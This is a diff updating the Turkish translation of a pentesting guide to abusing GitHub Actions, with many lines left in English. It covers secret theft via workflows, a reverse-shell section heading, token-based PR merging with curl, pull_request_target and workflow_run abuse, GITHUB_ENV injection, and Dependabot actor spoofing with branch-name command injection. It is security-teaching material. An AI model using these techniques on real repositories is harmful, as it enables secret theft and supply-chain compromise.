Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -1,56 +1,56 @@
-# Github Actions'ı Kötüye Kullanma
+# Github Actions'ın Kötüye Kullanımı
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Araçlar
 
-Aşağıdaki araçlar, Github Action iş akışlarını bulmak ve hatta savunmasız olanları tespit etmek için faydalıdır:
+Aşağıdaki araçlar Github Action iş akışlarını bulmak ve hatta kırılgan olanları tespit etmek için faydalıdır:
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Ayrıca [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) adresindeki kontrol listesini kontrol edin
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Ayrıca kontrol listesine bakın: [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
 
 ## Temel Bilgiler
 
 Bu sayfada şunları bulacaksınız:
 
-- Bir saldırganın Github Action'a erişim sağlaması durumunda tüm etkilerin **özeti**
-- Bir **action'a erişim sağlama** yolları:
-- Action'ı oluşturmak için **izinlere** sahip olmak
-- **Pull request** ile ilgili tetikleyicileri kötüye kullanmak
-- **Diğer dış erişim** tekniklerini kötüye kullanmak
-- Zaten ele geçirilmiş bir repodan **pivotlama**
-- Son olarak, bir action'ı içeriden kötüye kullanmak için **post-exploitation teknikleri** hakkında bir bölüm (belirtilen etkileri yaratmak için)
+- Bir **saldırganın bir Github Action'a erişim sağlaması halinde tüm etkilerin özeti**
+- Bir action'a **erişim elde etmenin** farklı yolları:
+- Action oluşturma **izinlerine** sahip olmak
+- **pull request** ile ilgili tetikleyicilerin kötüye kullanılması
+- Diğer **external access** tekniklerinin kötüye kullanılması
+- Zaten ele geçirilmiş bir repo'dan **Pivoting**
+- Son olarak, bahsedilen etkileri gerçekleştirmek için bir action'ın içeriden kötüye kullanılmasıyla ilgili **post-exploitation teknikleri**
 
-## Etkilerin Özeti
+## Etkiler Özeti
 
-[**Github Actions hakkında temel bilgileri kontrol edin**](../basic-github-information.md#github-actions) için bir giriş.
+Bir giriş için [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
 
-Eğer bir **depo** içinde **Github Actions'ta rastgele kod çalıştırabiliyorsanız**, şunları yapabilirsiniz:
+Eğer bir repository içinde **GitHub Actions'ta rastgele kod çalıştırabiliyorsanız**, şunları yapabilirsiniz:
 
-- Pipeline'a monte edilmiş **gizli bilgileri çalmak** ve dış platformlara, örneğin AWS ve GCP'ye yetkisiz erişim sağlamak için **pipeline'ın ayrıcalıklarını kötüye kullanmak**.
-- **Dağıtımları** ve diğer **artifaktları** tehlikeye atmak.
-- Eğer pipeline varlıkları dağıtıyor veya depoluyorsa, nihai ürünü değiştirebilir ve bir tedarik zinciri saldırısına olanak tanıyabilirsiniz.
-- **Özel işçilerde kod çalıştırmak**, hesaplama gücünü kötüye kullanmak ve diğer sistemlere geçiş yapmak.
-- `GITHUB_TOKEN` ile ilişkili izinlere bağlı olarak **depo kodunu üzerine yazmak**.
+- Pipeline'a monte edilmiş **secrets**'ları çalmak ve pipeline'ın ayrıcalıklarını suistimal ederek AWS ve GCP gibi harici platformlara yetkisiz erişim elde etmek.
+- Dağıtımları (deployments) ve diğer artifact'leri ele geçirmek.
+- Eğer pipeline varlıkları deploy ediyor veya depoluyorsa, nihai ürünü değiştirebilir ve böylece bir supply chain attack'e olanak sağlayabilirsiniz.
+- Custom workers içinde kod çalıştırarak hesaplama gücünü suistimal etmek ve diğer sistemlere pivot yapmak.
+- `GITHUB_TOKEN` ile ilişkili izinlere bağlı olarak repository kodunu üzerine yazmak.
 
 ## GITHUB_TOKEN
 
-Bu "**gizli**" ( `${{ secrets.GITHUB_TOKEN }}` ve `${{ github.token }}`'den gelen) admin bu seçeneği etkinleştirdiğinde verilir:
+Bu "**secret**" ( `${{ secrets.GITHUB_TOKEN }}` ve `${{ github.token }}`'den gelir) admin bu seçeneği etkinleştirdiğinde verilir:
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-Bu token, bir **Github Uygulaması'nın** kullanacağı aynı token'dır, böylece aynı uç noktalara erişebilir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Bu token, bir **Github Application** tarafından kullanılanla aynıdır; bu yüzden aynı endpoint'lere erişebilir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github, `GITHUB_TOKEN` kullanarak bir repo'nun diğer iç reposuna erişmesine izin veren [**bir akış**](https://github.com/github/roadmap/issues/74) yayınlamalıdır.
+> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
 
 Bu token'ın olası **izinlerini** şurada görebilirsiniz: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-Token'ın **iş tamamlandıktan sonra süresinin dolduğunu** unutmayın.\
-Bu token'lar şu şekilde görünür: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Not: Token'ın **job tamamlandıktan sonra süresinin dolacağını** unutmayın.\
+Bu tür token'lar şu şekilde görünür: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
 Bu token ile yapabileceğiniz bazı ilginç şeyler:
 
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
 -d "{\"commit_title\":\"commit_title\"}"
 ```
 {{#endtab }}
-{{#tab name="PR'yi Onayla" }}
+{{#tab name="Approve PR" }}
 ```bash
 # Approve a PR
 curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Dikkat edin ki, birkaç durumda **Github Actions ortamlarında veya gizliliklerde github kullanıcı tokenlerini bulabileceksiniz**. Bu tokenler, size depo ve organizasyon üzerinde daha fazla yetki verebilir.
+> Bazı durumlarda **github user tokens inside Github Actions envs or in the secrets** bulabileceğinizi unutmayın. Bu tokens repository ve organization üzerinde size daha fazla yetki verebilir.
 
 <details>
 
-<summary>Github Action çıktısında gizlilikleri listele</summary>
+<summary>Github Action çıktısında secrets'leri listele</summary>
 ```yaml
 name: list_env
 on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Secrets ile ters shell al</summary>
+<summary>Secrets kullanarak reverse shell al</summary>
 ```yaml
 name: revshell
 on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-Github Token'ına verilen izinleri diğer kullanıcıların depolarında **logları kontrol ederek** kontrol etmek mümkündür:
+Diğer kullanıcıların repository'lerinde bir Github Token'a verilen izinleri **actions'ın loglarını kontrol ederek** öğrenmek mümkün:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
-## İzin Verilen Çalıştırma
+## İzinli Çalıştırma
 
 > [!NOTE]
-> Bu, Github eylemlerini tehlikeye atmanın en kolay yolu olacaktır, çünkü bu durum **organizasyonda yeni bir depo oluşturma** erişiminiz olduğunu veya **bir depoda yazma yetkisine** sahip olduğunuzu varsayar.
+> Bu, Github actions'ı ele geçirmenin en kolay yolu olur; çünkü bu durumda organizasyonda **create a new repo in the organization**, veya bir repository üzerinde **write privileges over a repository** erişiminiz olması gerekir.
 >
-> Bu senaryoda iseniz, [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) bölümüne göz atabilirsiniz.
+> Bu senaryodaysanız sadece [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) bölümünü kontrol edebilirsiniz.
 
-### Depo Oluşturma ile Çalıştırma
+### Repo Oluşturularak Çalıştırma
 
-Eğer bir organizasyonun üyeleri **yeni depolar oluşturabiliyorsa** ve github eylemlerini çalıştırabiliyorsanız, **yeni bir depo oluşturup organizasyon seviyesinde ayarlanmış gizli bilgileri çalabilirsiniz**.
+Eğer bir organizasyonun üyeleri **create new repos** oluşturabiliyorsa ve siz github actions çalıştırabiliyorsanız, **create a new repo and steal the secrets set at organization level**.
 
-### Yeni Dal ile Çalıştırma
+### Yeni Bir Branch'ten Çalıştırma
 
-Eğer **zaten bir Github Action** yapılandırılmış bir depoda **yeni bir dal oluşturabiliyorsanız**, onu **değiştirebilir**, içeriği **yükleyebilir** ve ardından **o eylemi yeni daldan çalıştırabilirsiniz**. Bu şekilde **depo ve organizasyon seviyesindeki gizli bilgileri dışarıya çıkarabilirsiniz** (ama bunların nasıl adlandırıldığını bilmeniz gerekir).
+Eğer zaten bir Github Action içeren bir repository'de **create a new branch in a repository that already contains a Github Action** oluşturabiliyorsanız, bu action'ı **modify**, içeriği **upload** edip ardından **execute that action from the new branch**. Bu şekilde **exfiltrate repository and organization level secrets** yapabilirsiniz (ama bunların nasıl isimlendirildiğini bilmeniz gerekir).
 
-Değiştirilen eylemi **manuel olarak** çalıştırabilirsiniz, bir **PR oluşturulduğunda** veya **bazı kodlar itildiğinde** (ne kadar dikkat çekmek istediğinize bağlı olarak):
+> [!WARNING]
+> workflow YAML içinde (örneğin, `on: push: branches: [main]`, job conditionals veya manual gates) sadece dosya içi kısıtlamalar uygulanmışsa bunlar collaborator'lar tarafından düzenlenebilir. Harici bir zorlayıcı (branch protections, protected environments, and protected tags) yoksa bir katkıda bulunan kişi workflow'u kendi branch'ında çalışacak şekilde yeniden hedefleyebilir ve mounted secrets/permissions'i kötüye kullanabilir.
+
+Değiştirilmiş action'ı **manually** çalıştırılabilir hale getirebilir, bir **PR is created** olduğunda veya **some code is pushed** olduğunda tetikleyebilirsiniz (ne kadar gürültü yapmak istediğinize bağlı olarak):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -180,46 +183,46 @@ branches:
 ## Forked Execution
 
 > [!NOTE]
-> Farklı tetikleyiciler, bir saldırganın **başka bir depodaki Github Action'ı çalıştırmasına** izin verebilir. Eğer bu tetiklenebilir eylemler kötü yapılandırılmışsa, bir saldırgan bunları tehlikeye atabilir.
+> Saldırganın başka bir repository'nin **Github Action**'ını **çalıştırmasına** izin verebilecek farklı tetikleyiciler vardır. Eğer bu tetiklenebilir actions'lar kötü yapılandırılmışsa, bir saldırgan onları ele geçirebilir.
 
 ### `pull_request`
 
-Workflow tetikleyicisi **`pull_request`**, bazı istisnalarla birlikte her seferinde bir pull request alındığında workflow'u çalıştırır: varsayılan olarak, eğer bu sizin **ilk kez** **işbirliği** yapmanızsa, bazı **bakıcıların** workflow'un **çalıştırılmasını** **onaylaması** gerekecektir:
+Workflow tetikleyicisi **`pull_request`**, bir pull request alındığında workflow'u her seferinde çalıştırır; bazı istisnalar vardır: varsayılan olarak eğer repo ile **ilk kez** katkıda bulunuyorsanız, bazı **maintainer**'ların workflow çalıştırılmasını **onaylaması** gerekir:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> **Varsayılan kısıtlama** **ilk kez** katkıda bulunanlar içindir, geçerli bir hata/yazım hatasını **düzeltmek** için katkıda bulunabilir ve ardından **yeni `pull_request` ayrıcalıklarınızı kötüye kullanmak için başka PR'lar gönderebilirsiniz**.
+> Varsayılan kısıtlama **ilk kez** katkıda bulunanlar içindir; geçerli bir bug/typo'yu düzelterek katkıda bulunup sonra yeni `pull_request` ayrıcalıklarınızı kötüye kullanmak için **başka PR'ler** gönderebilirsiniz.
 >
-> **Bunu test ettim ve çalışmıyor**: ~~Başka bir seçenek, projeye katkıda bulunan birinin adını taşıyan bir hesap oluşturmak ve hesabını silmek olurdu.~~
+> **Bunu test ettim ve işe yaramıyor**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
 
-Ayrıca, varsayılan olarak **yazma izinlerini** ve **gizli verilere erişimi** hedef depoya engeller, [**belgelere**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) göre:
+Ayrıca, varsayılan olarak hedef repository'ye **yazma izinlerini** ve **secret'lara erişimi** engeller, detaylar için [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
-> `GITHUB_TOKEN` hariç, **gizli veriler bir workflow tetiklendiğinde** **forked** bir depodan **çalıştırıcıya geçmez**. **`GITHUB_TOKEN`'ın sadece okuma izinleri** vardır, **forked depolardan gelen** pull request'lerde.
+> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
 
-Bir saldırgan, Github Action'ın tanımını değiştirerek keyfi şeyler çalıştırabilir ve keyfi eylemler ekleyebilir. Ancak, belirtilen kısıtlamalar nedeniyle gizli verileri çalamaz veya depoyu üzerine yazamaz.
+Bir saldırgan, rastgele şeyler çalıştırmak ve rastgele actions eklemek için Github Action tanımını değiştirebilir. Ancak, bahsedilen kısıtlamalar nedeniyle secret'ları çalamaz veya repoyu overwrite edemez.
 
 > [!CAUTION]
-> **Evet, eğer saldırgan PR'de tetiklenecek github action'ı değiştirirse, kullanılan Github Action onunki olacak ve orijinal depodaki değil!**
+> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
 
-Saldırgan ayrıca çalıştırılan kodu kontrol ettiğinden, `GITHUB_TOKEN` üzerinde gizli veriler veya yazma izinleri olmasa bile, bir saldırgan örneğin **kötü niyetli dosyalar yükleyebilir**.
+Saldırgan çalıştırılan koda da hakim olduğu için, `GITHUB_TOKEN` üzerinde secret veya yazma izinleri olmasa bile örneğin **kötücül artefaktlar yükleyebilir**.
 
 ### **`pull_request_target`**
 
-Workflow tetikleyicisi **`pull_request_target`**, hedef depoya **yazma iznine** ve **gizli verilere erişime** sahiptir (ve izin istemez).
+Workflow tetikleyicisi **`pull_request_target`** hedef repository'ye **yazma iznine** ve **secret'lara erişime** sahiptir (ve izin istemez).
 
-Workflow tetikleyicisinin **`pull_request_target`** **temel bağlamda** çalıştığını ve PR tarafından verilen bağlamda çalışmadığını unutmayın (**güvenilmeyen kodu çalıştırmamak için**). `pull_request_target` hakkında daha fazla bilgi için [**belgelere**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) bakın.\
-Ayrıca, bu özel tehlikeli kullanım hakkında daha fazla bilgi için bu [**github blog yazısını**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) kontrol edin.
+Dikkat: workflow tetikleyicisi **`pull_request_target`** **base context'te çalışır** ve PR tarafından verilen context'te çalışmaz (güvenilmeyen kodu çalıştırmamak için). `pull_request_target` hakkında daha fazla bilgi için [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Ayrıca, bu özel tehlikeli kullanım hakkında daha fazla bilgi için şu [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) kontrol edin.
 
-**Çalıştırılan workflow** temel tanımda olduğu ve **PR'de** olmadığı için **`pull_request_target`** kullanmanın **güvenli** olduğu gibi görünebilir, ancak bunun **güvenli olmadığı birkaç durum vardır**.
+Base'de tanımlı olan ve PR'dekinde olmayan **icra edilen workflow** nedeniyle **`pull_request_target`** kullanmak güvenli görünebilir, fakat güvenli olmadığı birkaç durum vardır.
 
-Ve bu, **gizli verilere erişim** sağlayacaktır.
+Ve bunun **secret'lara erişimi** olacaktır.
 
 ### `workflow_run`
 
-[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) tetikleyicisi, bir workflow'un `tamamlandığında`, `istek yapıldığında` veya `devam ederken` başka bir workflow'dan çalıştırılmasına izin verir.
+The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
 
-Bu örnekte, bir workflow, ayrı "Testleri Çalıştır" workflow'u tamamlandıktan sonra çalışacak şekilde yapılandırılmıştır:
+In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
 ```yaml
 on:
 workflow_run:
@@ -227,31 +230,31 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Ayrıca, belgelerde belirtildiği gibi: `workflow_run` olayıyla başlatılan iş akışı, **önceki iş akışı** çalıştırılmamış olsa bile **gizli anahtarlara erişebilir ve token yazabilir**.
+Ayrıca dokümanlara göre: `workflow_run` olayıyla başlatılan workflow, önceki workflow başlatılmamış olsa bile **`secrets`'e erişebilir ve write token'lar yazabilir**.
 
-Bu tür bir iş akışı, **dış bir kullanıcı tarafından** **`pull_request`** veya **`pull_request_target`** ile **tetiklenebilen** bir **iş akışına** **bağlıysa** saldırıya uğrayabilir. Birkaç savunmasız örnek [**bu blogda**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**bulunabilir.** İlk örnek, **`workflow_run`** tetiklenen iş akışının saldırganın kodunu indirmesidir: `${{ github.event.pull_request.head.sha }}`\
-İkinci örnek, **güvenilmeyen** koddan **`workflow_run`** iş akışına bir **artifact** **geçirerek** ve bu artifact'ın içeriğini **RCE'ye karşı savunmasız hale getirecek** bir şekilde kullanmaktır.
+Bu tür bir workflow, bir dış kullanıcının **`pull_request`** veya **`pull_request_target`** aracılığıyla tetikleyebildiği bir **workflow**'a **bağımlıysa** saldırıya uğrayabilir. Birkaç zayıf örnek [**bu blogda bulunabilir**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). İlki, `workflow_run` ile tetiklenen workflow'un saldırganın kodunu indirmesi üzerine kuruludur: `${{ github.event.pull_request.head.sha }}`  
+İkincisi, **untrusted** koddan bir **artifact**'i `workflow_run` workflow'una **geçirmek** ve bu artifact içeriğini RCE'ye açık hale getirecek şekilde kullanmaktır.
 
 ### `workflow_call`
 
 TODO
 
-TODO: `pull_request`'dan çalıştırıldığında kullanılan/indirilen kodun orijinalden mi yoksa forked PR'dan mı olduğunu kontrol et
+TODO: pull_request'ten çalıştırıldığında kullanılan/indirilen kodun origin'den mi yoksa forked PR'den mi olduğunu kontrol et
 
-## Forked Execution'ı Kötüye Kullanma
+## Fork edilmiş çalıştırmanın kötüye kullanımı
 
-Dış bir saldırganın bir github iş akışını çalıştırma yollarını belirttik, şimdi bu çalıştırmaların, kötü yapılandırıldığında, nasıl kötüye kullanılabileceğine bakalım:
+Bir dış saldırganın bir GitHub workflow'unu çalıştırmasını sağlayabileceği tüm yolları zaten belirttik; şimdi bu çalıştırmalar kötü yapılandırılmışsa nasıl kötüye kullanılabileceğine bakalım:
 
 ### Güvenilmeyen checkout çalıştırması
 
-**`pull_request`** durumunda, iş akışı **PR'nin bağlamında** çalıştırılacak (yani **kötü niyetli PR kodunu** çalıştıracak), ancak birinin önce **yetkilendirmesi** gerekiyor ve bazı [kısıtlamalarla](#pull_request) çalışacak.
+`pull_request` durumunda, workflow **PR bağlamında** çalıştırılacaktır (yani **kötücül PR'ın kodunu** çalıştırır), fakat önce birinin **bunu yetkilendirmesi** gerekir ve bazı [sınırlamalar](#pull_request) ile çalışır.
 
-**`pull_request_target` veya `workflow_run`** kullanan bir iş akışında, **`pull_request_target` veya `pull_request`** ile tetiklenebilen bir iş akışına bağlıysa, orijinal repo kodu çalıştırılacak, bu nedenle **saldırgan çalıştırılan kodu kontrol edemez**.
+`pull_request_target` veya `workflow_run` kullanan ve `pull_request_target` veya `pull_request` ile tetiklenebilen bir workflow'a bağımlı olan bir workflow durumunda, orijinal repo'daki kod çalıştırılır; bu yüzden **saldırgan çalıştırılan kodu kontrol edemez**.
 
 > [!CAUTION]
-> Ancak, eğer **action**'da **açık bir PR checkout** varsa ve bu **PR'dan kod alıyorsa** (veya temelden değilse), saldırganın kontrolündeki kodu kullanacaktır. Örneğin (PR kodunun indirildiği 12. satıra bakın):
+> Ancak, eğer **action**'ın açık bir PR checkout'u varsa ve kodu **PR'den alıyorsa** (base'den değil), saldırganın kontrol ettiği kodu kullanır. Örneğin (satır 12'de PR kodunun indirildiğine bakın):
 
-<pre class="language-yaml"><code class="lang-yaml"># GÜVENLİ DEĞİL. Sadece bir örnek olarak verilmiştir.
+<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
 pull_request_target
 
@@ -279,32 +282,32 @@ message: |
 Thank you!
 </code></pre>
 
-Potansiyel olarak **güvenilmeyen kod, `npm install` veya `npm build` sırasında çalıştırılmaktadır** çünkü build scriptleri ve referans verilen **paketler PR yazarının kontrolündedir**.
+Olası **güvenilmeyen kod `npm install` veya `npm build` sırasında çalıştırılır**, çünkü build script'leri ve referans verilen **package'ler PR yazarı tarafından kontrol edilir**.
 
 > [!WARNING]
-> Savunmasız action'ları aramak için bir github dork'u: `event.pull_request pull_request_target extension:yml` ancak, action güvenli bir şekilde yapılandırılmasa bile, işlerin güvenli bir şekilde çalıştırılması için farklı yollar vardır (örneğin, PR'yi oluşturan aktör hakkında koşullu ifadeler kullanmak gibi).
+> Zayıf action'ları aramak için bir GitHub dork'u: `event.pull_request pull_request_target extension:yml` ancak, action güvensiz yapılandırılmış olsa bile job'ların güvenli şekilde çalıştırılmasını sağlamak için farklı yollar vardır (ör. PR'i oluşturan aktörün kim olduğuna dair koşullar kullanmak).
 
-### Bağlam Script Enjeksiyonları <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
+### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Belirli [**github bağlamları**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) olduğunu unutmayın, bu bağlamların değerleri **PR'yi oluşturan kullanıcı** tarafından **kontrol edilmektedir**. Eğer github action bu **verileri herhangi bir şeyi çalıştırmak için kullanıyorsa**, bu **rastgele kod çalıştırmaya** yol açabilir:
+PR'ı oluşturan **kullanıcı** tarafından kontrol edilen değerleri olan belirli [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) olduğunu unutmayın. Eğer github action bu **veriyi herhangi bir şey çalıştırmak için kullanıyorsa**, bu **keyfi kod yürütmeye** yol açabilir:
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **GITHUB_ENV Script Enjeksiyonu** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-Belgelerden: Bir iş akışı işinde herhangi bir sonraki adımda kullanılabilir bir **çevre değişkeni** oluşturmak veya güncellemek için bu değişkeni tanımlayarak ve **`GITHUB_ENV`** çevre dosyasına yazarak yapabilirsiniz.
+Dokümanlara göre: Bir workflow job'unda bir ortam değişkenini tanımlayarak veya güncelleyerek ve bunu **`GITHUB_ENV`** environment dosyasına yazarak sonraki adımlarda kullanılabilir hale getirebilirsiniz.
 
-Eğer bir saldırgan bu **env** değişkeninin içine **herhangi bir değeri** **enjekte edebilirse**, **LD_PRELOAD** veya **NODE_OPTIONS** gibi sonraki adımlarda kod çalıştırabilecek env değişkenlerini enjekte edebilir.
+Eğer bir saldırgan bu **env** değişkeninin içine **herhangi bir değer enjekte edebilirse**, sonraki adımlarda kod çalıştırabilecek **LD_PRELOAD** veya **NODE_OPTIONS** gibi env değişkenlerini enjekte edebilir.
 
-Örneğin ([**bu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) ve [**bu**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), **`GITHUB_ENV`** env değişkeninin içeriğini depolamak için yüklenen bir artifact'a güvenen bir iş akışını hayal edin. Bir saldırgan bunu tehlikeye atmak için şöyle bir şey yükleyebilir:
+Örneğin ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) ve [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), içeriğini `GITHUB_ENV` env değişkenine kaydetmek için yüklenen bir artifact'e güvenen bir workflow olduğunu düşünün. Bir saldırgan bunu ele geçirmek için şöyle bir şey yükleyebilir:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
 ### Dependabot ve diğer güvenilir botlar
 
-[**Bu blog yazısında**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) belirtildiği gibi, birçok kuruluşun `dependabot[bot]`'tan gelen herhangi bir PR'yi birleştiren bir Github Action'ı vardır.
+Bu [**blog yazısında**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) belirtildiği gibi, bazı organizasyonlar `dependabot[bot]`'tan gelen herhangi bir PR'ı otomatik olarak merge eden bir GitHub Action'a sahip, örneğin:
 ```yaml
 on: pull_request_target
 jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Bu, `github.actor` alanının, iş akışını tetikleyen en son olayı başlatan kullanıcıyı içerdiği için bir sorun. Ve `dependabot[bot]` kullanıcısının bir PR'yi değiştirmesi için birkaç yol var. Örneğin:
+Bu bir sorun çünkü `github.actor` alanı workflow'u tetikleyen son olaya neden olan kullanıcıyı içerir. Ve `dependabot[bot]` kullanıcısının bir PR'ı değiştirmesini sağlamak için birkaç yol vardır. Örneğin:
 
-- Kurban deposunu fork'lamak
-- Kopyanıza kötü niyetli yükü eklemek
-- Fork'unuzda eski bir bağımlılık ekleyerek Dependabot'u etkinleştirmek. Dependabot, kötü niyetli kodla bağımlılığı düzelten bir dal oluşturacaktır.
-- O daldan kurban deposuna bir Pull Request açmak (PR, kullanıcı tarafından oluşturulacak, bu yüzden henüz bir şey olmayacak)
-- Sonra, saldırgan, fork'unda Dependabot'un açtığı ilk PR'ye geri döner ve `@dependabot recreate` komutunu çalıştırır
-- Ardından, Dependabot o dalda bazı işlemler gerçekleştirir, bu da kurban deposundaki PR'yi değiştirir, bu da `dependabot[bot]`'u iş akışını tetikleyen en son olayın aktörü yapar (ve dolayısıyla, iş akışı çalışır).
+- Hedef repository'yi fork et
+- Kopyana malicious payload ekle
+- Fork'unda outdated dependency ekleyerek Dependabot'u etkinleştir. Dependabot, dependency'yi düzeltmek için malicious code içeren bir branch oluşturacak.
+- O branch'ten hedef repository'ye bir Pull Request aç (PR kullanıcı tarafından oluşturulacak, bu yüzden şimdilik hiçbir şey olmayacak)
+- Sonra, saldırgan fork'unda Dependabot'un açtığı ilk PR'ye geri döner ve `@dependabot recreate` çalıştırır
+- Ardından, Dependabot o branch'te bazı işlemler yapar ve bu, hedef repo üzerindeki PR'ı değiştirir; bu da `dependabot[bot]`'u workflow'u tetikleyen son olayın actor'ü yapar (dolayısıyla workflow çalışır).
 
-Devam edelim, eğer Github Action bir komut enjeksiyonu içerseydi, ne olurdu:
+Devam edersek, merge etmek yerine Github Action'ın şu örnekteki gibi bir command injection'a sahip olduğunu varsayarsak:
 ```yaml
 on: pull_request_target
 jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-İyi, orijinal blog yazısı bu davranışı kötüye kullanmak için iki seçenek öneriyor, bunlardan ikincisi:
+Well, the original blogpost proposes two options to abuse this behavior being the second one:
 
-- Kurban deposunu fork'layın ve bazı eski bağımlılıklarla Dependabot'u etkinleştirin.
-- Kötü niyetli shell enjeksiyon koduyla yeni bir dal oluşturun.
-- Depo için varsayılan dalı bu dal olarak değiştirin.
-- Bu daldan kurban deposuna bir PR oluşturun.
-- PR'da Dependabot'un fork'unda açtığı `@dependabot merge` komutunu çalıştırın.
-- Dependabot, fork'lanmış deponuzun varsayılan dalına değişikliklerini birleştirecek ve kurban deposundaki PR'ı güncelleyerek `dependabot[bot]`'u iş akışını tetikleyen son olayın aktörü yapacak ve kötü niyetli bir dal adı kullanacak.
+- Fork the victim repository and enable Dependabot with some outdated dependency.
+- Create a new branch with the malicious shell injection code.
+- Change the default branch of the repo to that one
+- Create a PR from this branch to the victim repository.
+- Run `@dependabot merge` in the PR Dependabot opened in his fork.
+- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
 
-### Hassas Üçüncü Taraf Github Actions
+### Zafiyetli Üçüncü Taraf Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-[**bu blog yazısında**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) belirtildiği gibi, bu Github Action farklı iş akışlarından ve hatta depolardan artefaktlara erişim sağlar.
+Bu, [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks)'ta belirtildiği gibi, farklı workflows'lardan ve hatta repository'lerden artifact'lara erişim sağlıyor.
 
